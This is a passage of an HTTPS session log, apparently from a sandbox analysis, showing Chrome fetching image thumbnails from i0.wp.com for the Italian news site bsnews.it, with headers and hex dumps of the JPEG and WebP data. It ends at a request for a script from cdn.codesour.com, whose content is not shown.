2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 9f 09 31 e2 73 f8 32 f3 2e 40 f3 53 fc 75 97 e1 1c 8c 6d 6c 5e 1f 68 17 0d c5 f9 2c a8 15 d2 22 69 47 4b fd 4c 44 70 1a ff 00 53 a2 f8 00 f1 10 60 f4 b9 d5 2d bc 37 2f a6 47 0c b7 45 8c 77 3d 18 b7 ad f3 05 af b0 62 ff 00 60 44 b4 80 9e 8b b4 4e 94 7a 8e 4e f2 a8 21 d5 7e c4 44 14 c5 ed b3 44 be cc b8 9b 66 0a e4 6a 5b 8e 62 f7 d7 46 df 60 7c c6 e6 67 2a 7f 48 a6 75 dd bf 27 dc b8 fb 3c 71 64 d3 a3 cc 66 bd a0 f7 3e e1 b2 7e cf 9c f9 83 47 04 1a 2d 3a 6f f3 12 26 40 87 72 0e 82 76 17 bc 21 67 83 00 6b 21 d0 7e 09 4a 11 69 b0 10 4c 68 be 26 7d b4 ad d7 47 cd c6 26 61 41 bd 93 f2 45 b5 e3 87 1f 30 17 77 5d 7f dc 44 ad 98 1b e9 cc 36 0d 8d 9f 24 58 cd 70 78 0d dd 5f 63 ee a7 a8 57 90 7b 69 0c 15 b4 c2 18 4c 8c 22 e7 5b 96 de 21 ad a2 bb 47 70 b3 ac b4 f1 14 Data Ascii: 1s2.@Suml^h,"iGKLDpS`-7/GEw=b`DNzN!~DDfj[bF`\|g*Hu'<qdf>~G-:o&@rv!gk!~JiLh&}G&aAE0w]D6$Xpx_cW{iL"[!Gp
2024-03-28 08:51:08 UTC	1074	IN	Data Raw: 9e 61 ae cd 5b 31 8d af 8e 25 d6 30 78 1f aa f8 98 c2 c2 d9 a4 78 da 67 fa 9d de 53 f7 0e a5 1e 16 98 53 46 cd a6 c6 3a d1 ee bf 53 10 f7 c8 7d 18 82 47 5b 55 e4 82 81 51 b4 15 f2 b4 b1 ac aa 86 7f 64 a1 d8 2d 35 f4 8d d6 6c fa aa 7c 33 50 34 7c be 58 97 d5 2b ad 57 92 34 0d cd 5e 18 56 0d d5 cf 7b 7f 72 ec f7 19 73 50 d2 bb b1 35 cd f6 47 89 71 70 3a 4c 44 89 36 a2 f4 24 23 89 2d b2 5b 7c e6 66 9e 55 51 0d 39 f5 4b b9 f6 ea a6 9d 6b 46 23 0b ab d4 72 4a 0b 6b a1 c3 8e d1 a6 06 56 85 51 6b 16 59 a0 15 0d 0a 72 b8 09 46 3a ef 38 b9 1a 58 f1 de 87 48 fa 4b c7 b4 5e 19 6c 49 40 a0 2f 78 a7 c2 9d f3 f3 18 5a 26 f4 05 dd da 10 8b b4 6d d3 a3 fa 82 09 1b 00 ca da e1 de 7b 5e 2a f8 bf 30 ad ee cf 22 cf 11 63 71 bd 27 c8 7c 4b 65 b9 8c 8d 83 c1 d6 f7 89 43 a9 ce Data Ascii: a[1%0xxgSSF:S}G[UQd-5l\|3P4\|X+W4^V{rsP5Gqp:LD6$#-[\|fUQ9KkF#rJkVQkYrF:8XHK^lI@/xZ&m{^*0"cq'\|KeC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49863	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_1870.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	593	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 11794 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:08 GMT Expires: Sat, 28 Mar 2026 20:51:08 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_1870.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "a6a7f11e322343ce" X-Bytes-Saved: 368 Vary: Accept X-nc: MISS dca 5 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	776	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 05 05 04 06 05 05 05 07 06 06 07 09 0f 0a 09 08 08 09 13 0d 0e 0b 0f 16 13 17 17 16 13 15 15 18 1b 23 1e 18 1a 21 1a 15 15 1e 29 1f 21 24 25 27 28 27 18 1d 2b 2e 2b 26 2e 23 26 27 26 ff db 00 43 01 06 07 07 09 08 09 12 0a 0a 12 26 19 15 19 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 e6 1f 35 68 bb 7d ff 00 Data Ascii: JFIFC#!)!$%'('+.+&.#&'&C&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&D"5h}
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 1b 2a ea b9 fb d4 74 9b aa 07 e8 90 06 c0 21 c6 55 ec 49 bc 00 dc ea 8e 74 7a 59 9e 6f 43 a6 50 d2 48 12 67 4d 24 80 8a da 53 52 ad aa a2 13 49 81 93 a4 31 21 20 26 d6 26 b6 ab 4e c8 ac 7a 78 d0 e7 ba 0c 2e 7a 44 0d b9 72 0d ba 94 5d c7 d8 c8 e6 bd 3a 93 13 34 8d 9d 2e 98 b3 9a 4a 59 39 4c 25 c9 e9 6a e1 e8 f5 c6 87 37 d4 67 d1 82 ce de 76 e9 24 84 92 04 ec e3 d3 42 53 1b bc f8 96 d1 9e da 39 f9 5b 3a 49 a9 46 42 26 d6 36 df 4c 9e c4 8f e8 65 97 95 b7 83 cd 41 d4 c9 b9 0e d5 52 68 da ad 93 de 37 3d f1 8d db e9 e5 a7 99 4f d7 b4 d9 e1 81 f7 7c c0 f1 a3 77 19 3a c6 59 f6 87 db 96 7d 96 10 b2 6a ed 63 70 ee cd 25 8d 32 77 64 1d d9 1a 08 0a 65 5e db cb e9 ce ae 0f a1 f0 79 d0 12 59 5a 2c 6f 6b 17 a3 97 7b aa 36 10 97 4c d9 98 55 23 10 0e 06 f5 4f 25 ef f9 df Data Ascii: *t!UItzYoCPHgM$SRI1! &&Nzx.zDr]:4.JY9L%j7gv$BS9[:IFB&6LeARh7=O\|w:Y}jcp%2wde^yYZ,ok{6LU#O%
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: d0 ab 15 b5 38 3f e0 a0 6d 2d ec bf 52 fb ca 37 c2 bf 54 fe ae 96 31 d8 8b 08 d4 79 97 fe bc c6 ed 77 fd 87 33 9c 66 ed f0 0c c6 2a 4a af b6 2b 96 99 55 f2 5f c1 4b e9 3a d4 89 7a d7 63 fd 2b ef 29 1c 42 5a 0b 16 be 3b 91 32 2c 0d 3f a4 e3 18 c3 32 bf d7 94 ff 00 23 7e d3 8b ea 1f 82 d8 d1 4d 86 2b df 3a c0 41 eb 17 56 54 fd 68 5d 52 e6 52 4a 1a d7 29 3b 7d 03 dc 0d 95 5d 8a 00 01 a3 9d 9b c1 e4 22 ef 8f 07 32 af 0f cc 78 7c 1b 3a ea cf ff 00 3d 7a 04 f0 4d 15 f0 7c 61 2a c2 a2 b9 ae c1 10 4c 9a 31 2e 97 f8 0f 74 c5 a9 08 02 10 b2 ce d0 0a 98 df fa 7d 7f d5 55 f2 6b 6a 1c 11 79 e1 7d 15 a9 66 fb 78 cb 51 e4 03 85 16 18 89 0d 69 05 4a 26 a7 69 83 67 57 12 38 e4 bd 40 90 64 29 9d 61 1f 31 44 4c ca 6d 96 df d1 84 da 25 d9 1d 76 e4 23 3c 63 a9 ae cd b8 11 8c Data Ascii: 8?m-R7T1yw3fJ+U_K:zc+)BZ;2,?2#~M+:AVTh]RRJ);}]"2x\|:=zM\|aL1.t}Ukjy}fxQiJ&igW8@d)a1DLm%v#<c
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: cf ca a4 28 7e 95 40 d1 f6 85 a7 2e 4a b1 5d dd 69 95 8f 92 10 bc 66 5b 49 ae 2a 59 cd 3f c2 56 ad b1 38 b4 c9 67 5d 6a 94 c1 e4 a4 13 9d ed 8b e3 39 d3 3b bf 6f d1 2b 56 ee ca 71 0c b8 26 b4 6d 2a e8 57 4d 08 da a6 e1 35 37 c8 58 5c 4e c4 78 78 8e 69 a2 d0 28 71 e2 b1 68 ea b4 db 8a 32 33 e4 d4 64 d8 a7 ec 5a 98 de 94 27 02 27 19 ad 49 ea 8e 63 04 f8 af 83 c9 90 5e f0 b6 17 d5 8a ce 7b df ca 8b 36 03 7e ea ac d6 b0 72 6a ab 8c 94 c3 8c d4 9c 81 1b d5 fd f8 ab 8c 41 c1 d9 ea 6f 71 a6 c5 8f 34 4a ab 41 58 4b 92 cd 0d 7f d4 8f b9 60 1b c2 d2 0a 5e d4 9e 4b de 45 2d 9e fc 57 c6 ff 00 c2 cd 82 de b3 2b 06 7a 02 d6 11 c9 6b 1d dd 4e f1 2b 15 89 5a c7 77 55 0d 3c da ab 0e 5c 8d ba 25 68 14 30 ae f2 b4 9a 3a ad 6b 15 d6 9b ca 4c d2 da eb 68 d3 d9 67 56 db c1 16 Data Ascii: (~@.J]if[IY?V8g]j9;o+Vq&mWM57X\Nxxi(qh23dZ''Ic^{6~rjAoq4JAXK`^KE-W+zkN+ZwU<\%h0:kLhgV
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6b 1f b1 94 94 d3 11 6f ba 04 32 c3 5f fd 25 ef 5a 2f bc 5c de 19 fa 9a af 6e fd 42 e9 e1 40 dc 77 2f ed 86 eb f1 fc 4f cb 07 ec 4f b1 d1 f7 8e 6c 0e 29 f7 62 be 34 d3 cf 70 fc 11 2e 77 6b 47 3e 93 fb 4b 18 4f 0f cc 34 de 61 3f d5 0f 37 03 fb 0a 1f b1 de d2 5c 75 be d0 fb 5e 65 6c 07 c9 2e 96 bd 02 e3 8d 5e ea e1 6e 4a 2f 03 e0 f6 75 30 ed 39 c5 07 b3 83 1f 80 af f6 89 67 b9 bf 52 ad a6 27 47 4d e7 18 a2 1a 9c 92 b7 86 38 20 77 64 13 66 b1 37 b9 df 3f 01 f7 17 5c a7 c1 f9 97 e4 c7 6e 7d a0 0f 5b fa 65 3a 79 1b f7 81 e8 3d 52 af 82 4e 20 ec 62 3e d3 53 51 5d e5 6d 57 d6 5f e8 b4 b7 32 dc bf 4d 69 fa 5e 16 64 1d 6f d4 43 e5 43 f4 5e 03 58 ea 58 b3 69 d7 ec 54 6e b1 bc fd c3 16 2b 07 5f ca 6f 7b bf d8 45 6b 1d 3f 06 7c 9c 9f 96 5e ff 00 04 7d e5 3f 63 3e d2 Data Ascii: ko2_%Z/\nB@w/OOl)b4p.wkG>KO4a?7\u^el.^nJ/u09gR'GM8 wdf7?\n}[e:y=RN b>SQ]mW_2Mi^doCC^XXiTn+_o{Ek?\|^}?c>
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: bc ba e0 43 f4 87 0f 6b be 93 37 dd 9a 77 de 06 0f 59 4f b5 c5 a9 c8 4b ce ec 7a c0 26 15 d0 26 61 67 a3 c7 76 5b 50 70 ba 4d 1d 86 0b e3 fe 46 fb 12 ff 00 40 cc fb 7f c7 11 d5 36 ff 00 06 b3 e0 fa 1a 55 68 ab 0e 3e d3 03 2a 07 ab 04 14 c8 d3 a4 7e 72 6d 43 94 d3 ef 08 1f 59 97 22 de df 40 f5 45 ed 34 dc b0 71 be 09 43 7d 70 4a 59 1c 42 aa d9 30 09 cc 41 6d f6 23 81 77 72 3b c2 98 af ad c6 07 51 19 9e 9b 7f c4 b4 4e 7f 86 06 d0 59 79 ea 6f bc de 3a 7f b4 e0 7b 46 8d 7b c4 70 5a ad 1b 56 35 c4 ca f9 60 9d 2c f3 b4 58 87 32 87 6f a3 e3 fd e1 88 ed 77 f8 8e 29 e5 86 0e 92 f8 e9 2c 65 ed 13 76 39 88 69 3d 10 c2 d5 93 70 93 76 f0 20 55 b3 30 a6 4d 3f 1f f1 a2 39 72 f6 cd 32 c7 a2 24 55 f5 bb 47 4f f0 4d 19 bc 61 0d 51 79 8a 80 3b 30 7a c0 53 b7 83 ff 00 10 4c Data Ascii: Ck7wYOKz&&agv[PpMF@6Uh>*~rmCY"@E4qC}pJYB0Am#wr;QNYyo:{F{pZV5`,X2ow),ev9i=pv U0M?9r2$UGOMaQy;0zSL
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: af 24 11 72 5e 91 08 78 0a 6b 62 b9 78 c4 22 ec 89 a8 b0 76 c5 0e 32 a7 45 8c 3e a0 c4 8f 83 94 90 a5 3a e0 88 31 99 d8 87 a8 4a 42 cd 41 68 a4 12 d6 4c b3 a3 b8 60 ba 7e ac 8e 7b 88 bc 8a 7c 44 0b 5a 30 93 10 f6 40 5d 44 89 02 ca 8c 46 a0 95 a9 90 d9 2f f4 f4 b6 30 52 f1 a4 44 b2 84 64 20 58 86 ea 3c 22 03 c4 2b 7b 12 94 a0 be e1 7a 5e c7 58 41 1b 47 cd 19 99 06 c7 4c 19 36 5b 63 2c 02 52 2d 8e d0 e2 b4 12 0c 30 d8 9c 3d fa 21 29 41 ea 3e 13 93 13 e6 07 39 14 e8 bf d1 36 c6 89 33 e9 21 b4 b4 c4 ed e0 c2 62 05 03 c0 47 42 a1 34 49 53 c2 b8 1b 85 8c a1 ff c4 00 27 10 01 00 02 01 03 03 04 03 01 01 01 00 00 00 00 00 01 00 11 21 31 41 51 61 71 81 91 a1 b1 c1 10 d1 f0 e1 f1 20 ff da 00 08 01 01 00 01 3f 10 73 90 e7 e5 89 77 40 51 8d 3b a9 f2 24 ac a5 15 1c 77 Data Ascii: $r^xkbx"v2E>:1JBAhL`~{\|DZ0@]DF/0RDd X<"+{z^XAGL6[c,R-0=!)A>963!bGB4IS'!1AQaq ?sw@Q;$w
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 2c 1e d1 09 8e dd 3f 50 98 50 e2 22 fd 25 72 46 ca e3 9d 2c 42 c2 e6 aa d8 ba 67 f5 2f f8 46 80 ed 31 14 9b 51 7a 1c b0 5c 25 e5 bc ba cd a8 a5 9e 92 f5 53 5a 50 f1 cc 7b 38 58 56 c6 65 c9 f6 d5 17 1d fc 33 0e 71 56 bf 76 41 32 c8 a0 94 d3 18 0f 69 b1 23 43 67 95 52 59 87 c8 51 ec 43 2e 0f 54 f2 aa 33 32 99 17 65 ae e1 53 d1 35 49 70 83 f6 f6 85 d0 d4 39 07 bd 3d a1 0a f0 c5 17 be 51 21 4c 68 3c 7d 2a 50 aa b3 4c 8b 91 05 6c 92 e3 0c 7a 2c 60 5e 69 69 02 60 0d bf ed 05 d7 75 52 be 6a fd e1 48 2d d0 ef 7b f9 83 a4 2d 0a 17 30 ae e9 b0 eb ba 6e 07 22 d2 8e 73 17 2d 52 88 41 d6 dc 79 8c 25 6a 92 75 a2 da 97 16 c2 94 9d f5 83 73 0a 03 41 f5 06 56 50 9f 4c b6 76 d7 7e 23 ab 39 4c b1 ae ba c1 cd cc 2c 2f 2b d2 af 17 cc 3a f4 ae c4 20 52 9a 0b bf d4 56 33 79 21 Data Ascii: ,?PP"%rF,Bg/F1Qz\%SZP{8XVe3qVvA2i#CgRYQC.T32eS5Ip9=Q!Lh<}*PLlz,`^ii`uRjH-{-0n"s-RAy%jusAVPLv~#9L,/+: RV3y!
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 06 23 b5 6b f5 01 47 18 53 d4 3f bd 62 99 29 00 fa 91 05 f0 42 65 1f b7 4f 30 86 80 33 b6 b2 75 56 3c 43 d2 a8 2e 64 fc bb cb 1f 1c d6 6f a9 2f 69 73 cd 7e 6e 5f e0 8a 57 dd 52 57 ae 06 28 1b 26 86 53 5e dd 7c 6d 28 ab d6 b2 ac e2 01 52 aa 32 bd 72 dc 6a 04 8c 66 4f 2e 59 ad 05 df f8 71 35 0f 15 3e 08 05 28 aa ad af 58 8b 5c 15 59 56 02 eb 31 71 da 97 0d 5e 47 7a c7 11 39 41 7a a3 43 ea 51 7c 99 ca 27 1c 23 7a 3c 4d 69 a4 37 2e b6 6b 59 7b 4d 6d 23 de 62 39 3d f1 2e a3 9c 46 8a f6 5f 98 d7 4b b0 f9 19 a1 ed f5 89 bc 62 59 ef 9d 16 7c b0 f6 69 ef 2d 6b b3 57 f7 8f 78 15 a5 da ae a1 fc c0 b2 b6 59 3d 5c 1f 51 c1 14 bf 7f ef d4 c5 e8 05 c1 dc c2 15 bb d7 58 26 b3 ed 8e a6 ef 6c 10 a2 4a 32 06 bc 29 b4 c3 d0 14 2b 69 bb e5 7d 4f c5 b2 ff 00 17 2e 5c b8 31 b9 Data Ascii: #kGS?b)BeO03uV<C.do/is~n_WRW(&S^\|m(R2rjfO.Yq5>(X\YV1q^Gz9AzCQ\|'#z<Mi7.kY{Mm#b9=.F_KbY\|i-kWxY=\QX&lJ2)+i}O.\1
2024-03-28 08:51:08 UTC	66	IN	Data Raw: df fb c4 c8 45 f8 43 2b e6 5c 80 19 a6 df 58 0e 15 8c cf 98 ac 43 bd 5f 5a a9 b2 23 5f 9f 48 58 76 27 1e e9 57 51 b8 be b2 34 27 ef f2 4a 8e 15 b3 43 f6 8b 40 4b 1a 0a e0 74 74 e8 d9 c2 f4 27 ff d9 Data Ascii: EC+\XC_Z#_HXv'WQ4'JC@Ktt'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49867	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240326_2120.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 6774 Connection: close Last-Modified: Wed, 27 Mar 2024 09:16:13 GMT Expires: Fri, 27 Mar 2026 21:16:13 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240326_2120.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "201c904b140a195c" Vary: Accept X-nc: HIT dca 5 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	798	IN	Data Raw: 52 49 46 46 6e 1a 00 00 57 45 42 50 56 50 38 20 62 1a 00 00 90 73 00 9d 01 2a 44 01 a0 00 3e 6d 30 94 47 24 22 a2 21 a8 52 bc 00 80 0d 89 63 03 d4 1c cb df bc 7f f2 db e4 f9 b4 1c ee d0 7b 5f 4e 5b 89 f9 da fa 33 3a ae f7 a6 ad 3c f4 6b c3 3f 2a 5e fd 98 21 c6 7d 88 fe 57 a0 5e 17 fc dc d4 5f f2 ff ea df eb b8 56 c0 6f 74 74 f2 16 5d a0 4f e9 3f 58 0f f6 7c b1 fd 6d ec 1d d2 f7 d1 e0 f5 aa 82 03 13 29 0a bd 3b 48 2f 35 e7 44 f9 69 36 a9 3b 55 54 53 29 48 d6 76 c8 71 9e 33 d8 a6 93 76 d6 0d 0f f7 ee dd 9a e1 4f 08 a5 32 53 06 cc 8b 4b f8 f4 07 8f 1c 95 d6 16 80 43 66 19 9e 4a cd 4b 1f 58 0a ed 12 4a c1 a3 c5 24 9d 2e 85 98 73 4c 58 a6 f4 11 3e 61 8e 1d 50 7f da 45 29 10 95 eb c6 56 ed 05 d1 15 58 a8 e0 fb 52 15 98 0e ad a9 23 52 a3 17 3e c2 e3 21 18 73 2a Data Ascii: RIFFnWEBPVP8 bsD>m0G$"!Rc{_N[3:<k?^!}W^_Vott]O?X\|m);H/5Di6;UTS)Hvq3vO2SKCfJKXJ$.sLX>aPE)VXR#R>!s*
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 69 fe 58 35 55 09 a4 23 9a 5e aa ef c2 ed 21 23 90 d2 e3 1f 1a 69 4b 6e b3 5c 05 68 18 6a 2a e9 55 1c 02 ff 9f b1 49 b6 0b 2c 61 93 c8 81 bd eb 23 80 56 83 1d ed f0 b7 a5 88 c2 ed 78 3a 87 b5 0a 9f 7b d5 f0 1a 75 f0 ac 34 6d 2c 7c 90 3b 39 04 c2 d6 30 52 ca 0d 0e 4c 82 9a 5e f0 d2 4a 28 ef 31 dd 88 be ad 97 28 e9 98 f5 17 87 ac 92 97 19 11 43 c4 f2 ab 0c 4c 3d f3 8b 5e 63 b0 5e d2 8a ca dc 57 38 68 50 66 98 92 ec 9f 15 70 d9 1f a0 27 73 db 6d 42 c4 6e a0 a4 80 00 fe fc a3 c9 8b 76 ff 6e 4f e3 eb a4 62 e9 fb d4 43 32 5f ee 29 01 48 c9 f0 58 fb a9 a0 b8 11 a7 55 8b a5 7f f9 b4 3a 43 60 73 0f ce 23 c1 44 9f f2 8e 50 af 9f 7f 8e 54 77 ef 6b 6e eb 81 59 1f 5c d9 94 98 b5 6e ca 8d 29 05 f8 11 1f 34 cc 55 ba 1f ea ee f2 26 69 6f 0b b6 0c 8c 76 c0 5a 28 56 8d 30 Data Ascii: iX5U#^!#iKn\hj*UI,a#Vx:{u4m,\|;90RL^J(1(CL=^c^W8hPfp'smBnvnObC2_)HXU:C`s#DPTwknY\n)4U&iovZ(V0
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: a2 4f 88 5d 22 74 74 8a 92 c8 31 73 06 28 60 7a 58 bb db f9 c2 ef d6 87 d1 bd 34 f8 62 70 49 05 8e 58 bc 37 9e 14 45 ae ce eb c2 e5 db a3 2d 78 aa 4d 39 f2 fa 0f 67 f0 da f2 25 0c 65 47 74 27 0b aa b7 78 a5 af fe f2 c9 1f 1b b1 37 ba 8b 20 91 7b 9f f8 f2 7c 34 d4 84 90 37 60 d5 ae 81 ef c3 eb 03 87 00 e1 38 4f 14 59 6e 58 0f 85 9f c5 0f db 5f b6 b0 87 a6 bf 36 7a c9 ce 77 85 7f 9e e2 72 e8 f5 59 bf fc 6d 08 6e 87 b4 94 e1 ce 52 58 65 38 49 d9 41 49 cc 3b 42 f0 2a 75 1f ef 0c 07 84 5d 1c 41 cc ea 7e 1d 4d 02 fd fb f8 58 4a 16 fb d6 7f 5e 2f 8e 94 1a 61 e4 ac db f4 9d 25 51 59 50 04 d8 ed cb 5d 2f bd 0f 32 d9 d7 fe e8 2e e0 c4 ac 7d 41 89 30 cc cd c4 99 92 26 4b ae fb bd ff 0b ff 7b 23 ad 98 0c c7 7e 3b a9 24 dc 34 f9 92 5d 38 4e c8 d2 21 a9 be f4 20 a0 5f Data Ascii: O]"tt1s(`zX4bpIX7E-xM9g%eGt'x7 {\|47`8OYnX_6zwrYmnRXe8IAI;B*u]A~MXJ^/a%QYP]/2.}A0&K{#~;$4]8N! _
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 00 d0 8b 82 87 cd 5e 53 45 0a 92 ee cf 0f 03 db 52 2a 13 90 56 da 11 75 ac 58 34 24 ce fa ca ec 21 7d 8d d0 48 5d e9 37 f4 c6 8d 19 55 d1 7a 92 a3 71 99 19 52 26 e4 fa 83 55 98 5e 41 11 d8 50 c7 bb 99 b6 a6 59 7b 60 99 9d e4 61 be db 6d 19 c4 da 41 c8 fc 04 e3 40 a1 4d 09 71 04 b8 a6 0f 59 12 a5 d2 9d 67 54 60 c8 a7 a4 16 a1 37 f7 ed 40 b5 ae 2c 4c 60 e9 4f 20 d6 05 7a ef 7c a0 ce 6f 01 d9 72 bd 5a f0 93 bc 73 18 62 27 86 94 9f 0b a5 5d 5f 78 44 41 96 43 0a 6a c8 97 25 54 52 b4 a2 48 3c 84 fe da bd 93 6a b9 72 cf f3 91 70 a4 46 56 4e b4 71 3a d6 65 99 2f d0 f5 5b 48 65 ae 64 cb e2 be be 1a 82 24 c5 81 1d af 32 6f 34 aa 5d e5 4c 1f 9a 54 b1 5d af ac ba 16 c3 ba cc 1b 73 12 83 50 2d 5c 4d 0b 53 a6 8e 5f 43 e0 f0 f7 52 ec ea ab 85 0c 69 33 2f 17 f5 04 c6 a1 Data Ascii: ^SER*VuX4$!}H]7UzqR&U^APY{`amA@MqYgT`7@,L`O z\|orZsb']_xDACj%TRH<jrpFVNq:e/[Hed$2o4]LT]sP-\MS_CRi3/
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 36 c7 61 5a b0 99 a2 fe b1 90 62 37 a4 a0 46 a9 2c 1a 03 db 2e 23 81 fd fe d2 0f 3f 31 64 18 82 17 07 1e d6 2f e9 59 26 a4 2a e2 1c ee bb e8 49 24 c9 0a 58 76 cc 21 fa 96 50 ed 2b 4f 08 c0 7b 08 68 b0 23 1c 60 83 f5 2e a4 b9 f8 a0 f2 e5 16 28 2b fc bf b8 bc 78 c0 17 68 48 38 08 d6 8d 9b b5 91 91 04 cc 20 e4 9c d7 48 2b 95 56 41 9d 7d ec 92 6a 0e 2f eb 97 5e 84 9e 52 97 41 8c 85 20 9d 09 8d 54 76 f5 e6 32 c2 74 2c a4 78 de aa 73 02 92 77 f3 9b 13 2a ba 53 f6 f6 5b f3 bf 2f d7 53 c1 e4 54 8a 7c 50 c5 8c a9 3e 21 aa 3e 39 ff 8f 0d 13 c8 a5 d3 48 79 af b9 bc af 9a 04 23 5f 08 b4 d2 33 cb 7e 77 3f 63 ed be da 4b 4f cf d8 4d 5f 6f ad f5 a6 51 e1 95 0b fe e8 70 45 96 36 16 e0 8d ad c2 fb c7 13 1d a9 e2 3d 2e ce e5 0e d0 0e 0b 8b a4 ff ec ba eb 7f 62 b1 ee 8c b7 Data Ascii: 6aZb7F,.#?1d/Y&I$Xv!P+O{h#`.(+xhH8 H+VA}j/^RA Tv2t,xswS[/ST\|P>!>9Hy#_3~w?cKOM_oQpE6=.b
2024-03-28 08:51:08 UTC	500	IN	Data Raw: ea 3d 25 99 ba e2 42 00 66 56 ab bb 6b 68 2f 5a 73 3b fd 23 5e f5 af 8b d4 68 fc 7a 98 54 e7 07 8e ec a1 26 72 65 4d ff ee ef 7b 65 d5 7b 4c 31 4b 1b 64 68 6f 71 a6 fd f9 4a 7b d2 0f f7 c9 2b d7 f0 de 6e 7e ce 12 74 12 68 ce ae fe 27 32 29 82 32 70 e6 e3 52 0b 14 9d e0 02 79 63 b9 4d 4c 80 87 29 e2 a1 96 aa ea 27 7f 07 de 30 29 1b b3 d5 e7 9d 16 c0 59 da 18 46 41 45 72 46 ba 17 5e fb 00 17 75 1f 94 d6 d1 f1 13 35 5d 1b 65 2a b5 5a ad 19 0c 91 8a a4 70 69 b1 41 31 4e 90 cc e4 a0 29 f9 74 0a c7 7e 7d 8c 1f ff 7a 24 5c 2e 27 d7 0b f2 38 80 fe c5 72 be 34 3c 6d 8a 91 ec 12 11 aa 3d 46 6f 7c ec b8 65 fc 83 2b e0 2d df ac be a7 1b b4 cb a9 99 75 ea b4 99 9f 05 5d e7 31 0f 04 50 7a 6e 0b 28 a6 72 dd 50 aa 9b 5b e5 5d e1 1b a9 49 fe 65 dd ab 4d b4 fb 93 71 1c 14 Data Ascii: =%BfVkh/Zs;#^hzT&reM{e{L1KdhoqJ{+n~th'2)2pRycML)'0)YFAErF^u5]e*ZpiA1N)t~}z$\.'8r4<m=Fo\|e+-u]1Pzn(rP[]IeMq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49868	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	536	OUT	GET /codesour/bsnews/182.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
